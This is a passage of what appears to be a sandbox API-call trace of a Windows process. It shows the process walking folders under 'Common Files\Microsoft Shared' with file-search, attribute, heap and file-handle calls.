0xef13b8 [0051.741] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0051.741] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.741] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.741] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.741] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee8e8 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef0708 [0051.741] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.741] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0051.741] GetLastError () returned 0x12 [0051.741] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0051.742] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0051.742] GetLastError () returned 0x12 [0051.742] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef00d8) returned 1 [0051.742] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0051.742] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef01e0) returned 1 [0051.742] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeffd0) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0051.742] GetLastError () returned 0x12 [0051.742] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeefcb8) returned 1 [0051.742] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.742] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeefdc0) returned 1 [0051.742] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef9a0) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0051.742] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0051.743] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0051.743] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0051.743] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 1 [0051.743] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 0 [0051.743] GetLastError () returned 0x12 [0051.743] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.743] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0051.743] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0051.743] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.743] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0051.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.743] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0051.753] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0051.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef1980 [0051.753] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef1980, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xef1980, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0051.753] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef1980) returned 1 [0051.753] NtClose (Handle=0x17c) returned 0x0 [0051.753] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.753] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0051.753] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.753] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0051.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.754] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0051.754] GetLastError () returned 0x12 [0051.754] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0051.754] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0051.754] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.754] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0051.754] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0051.754] GetLastError () returned 0x12 [0051.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.754] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.754] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0051.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.754] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0051.761] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0051.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef1980 [0051.761] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef1980, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xef1980, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0051.761] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef1980) returned 1 [0051.761] NtClose (Handle=0x170) returned 0x0 [0051.761] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.761] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0051.766] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.829] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0051.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee908 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef9a0 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.830] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee928 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeefdc0 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.830] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlFreeHeap 